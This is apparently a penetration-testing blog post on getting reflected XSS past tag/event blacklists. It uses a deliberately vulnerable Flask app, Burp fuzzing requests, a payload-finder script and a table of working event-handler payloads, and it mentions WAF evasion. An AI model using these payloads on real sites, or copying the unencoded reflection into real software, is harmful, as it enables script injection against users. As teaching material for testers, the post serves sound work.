Detecting valid tags/events on XSS exploitation.

Title

Exploiting Cross-Site Scripting (XSS) vulnerabilities might be a little tricky. In this blog post, the functionality of a helpful script will be described to assist in the injection of valid HTML/JavaScript syntax to take advantage of a weak tag/event validation.

Note: This post is based on the amazing job of the Portswigger’s team and it’s Cross-site scripting (XSS) cheat sheet


Analyzing the injection point

In order to explain in a practical way, a vulnerable server is deployed using Flask. This server accepts an input parameter (name) and the parameter is reflected in the response without any encoding. However, the blacklist value is going to be filled with a list of strings that will try to detect a XSS.

from flask import Flask, abort, request
app = Flask(__name__)

@app.route('/XSS')
def Welcome_name():
  name = request.args.get('name')
  blacklist = []
  
  if any(string in name for string in blacklist): 
    abort(403, description="XSS Detected")
  else:
    return 'Test XSS: ' + name

if __name__ == '__main__':
  app.run(host='0.0.0.0',port=81)

Once the application is deployed, a GET request with a < character is performed to analyse how the response reflects it:

  • Request:
GET /XSS?name=asf< HTTP/1.1

  • Response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 14
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:32:32 GMT

Test XSS: asf<

It seems vulnerable to XSS. Another GET request is submited using <img tag:

  • Request:
GET /XSS?name=asf<img HTTP/1.1

  • Response:
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:36:50 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

XSS Detected. How the filter works must be analysed.


XSS Tag/Event analyzer

The following Python script analyzes which suitable payload could be used to exploit a valid XSS when tags/events are validated. It compares the information supplied after analyzing how the filter works and the information of Cross-site scripting (XSS) cheat sheet.

It can be downloaded Here - https://gitlab.com/jlajara/xss-tag_event-analyzer

The usage is the following:

usage: find_xss.py [-h] [-f FILE] [-t TAGS [TAGS ...]]
                   [-e EVENTS [EVENTS ...]] [-o OUTPUT]

Find suitable XSS Payloads.

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  file with the payloads
  -t TAGS [TAGS ...], --tags TAGS [TAGS ...]
                        array with allowed tags
  -e EVENTS [EVENTS ...], --events EVENTS [EVENTS ...]
                        array with allowed events
  -o OUTPUT, --output OUTPUT
                        output payload list

Methodology:

  • 1. Fuzz with burpsuite or other tool the content of the tags.txt file. The point of fuzzing should be placed after the < character:

GET /XSS?name=asf<§tag§ HTTP/1.1

Tags

The following tags are candidates to a valid exploitation: b blink details marquee blockquote

  • 2. Fuzz with burpsuite or other tool the content of the events.txt file. The point of fuzzing should be placed after a valid tag:

GET /XSS?name=asf<b+§event§ HTTP/1.1

Events

The following events are candidates to a valid exploitation: oncontextmenu onhashchange onmouseout onpopstate

  • 3. Check the combination of tags and events with the script. Tags and events are separated by an space character.
❯ python find_xss.py -t b blink details marquee blockquote -e oncontextmenu onhashchange onmouseout onpopstate

Payloads found:

+--------------------------------------------------------+-----------------------------+
| Payload                                                |    Browser Compatibility    |
+--------------------------------------------------------+-----------------------------+
| <b oncontextmenu="alert(1)">test</b>                   | chrome firefox edge safari  |
| <blink oncontextmenu="alert(1)">test</blink>           | chrome firefox edge safari  |
| <blockquote oncontextmenu="alert(1)">test</blockquote> | chrome firefox edge safari  |
| <details oncontextmenu="alert(1)">test</details>       | chrome firefox edge safari  |
| <marquee oncontextmenu="alert(1)">test</marquee>       | chrome firefox edge safari  |
| <b onmouseout="alert(1)">test</b>                      | chrome firefox edge safari  |
| <blink onmouseout="alert(1)">test</blink>              | chrome firefox edge safari  |
| <blockquote onmouseout="alert(1)">test</blockquote>    | chrome firefox edge safari  |
| <details onmouseout="alert(1)">test</details>          | chrome firefox edge safari  |
| <marquee onmouseout="alert(1)">test</marquee>          | chrome firefox edge safari  |
+--------------------------------------------------------+-----------------------------+
  • 4. Testing the injection:

http://localhost:81/XSS?name=asf<b oncontextmenu="alert(1)">test</b>

Tags


Notes

  • The -f / --file parameter is used to specify the payload database, by default it uses db.json.
  • When -t / --tags or -e / --events are not specified, it will be completed with any value.
  • Some payloads use various tags, therefore both tags should be accepted to achieve a complete execution.
  • Payloads are basics and alert(1) is probably detected by most WAFs, some evasion should be performed.

References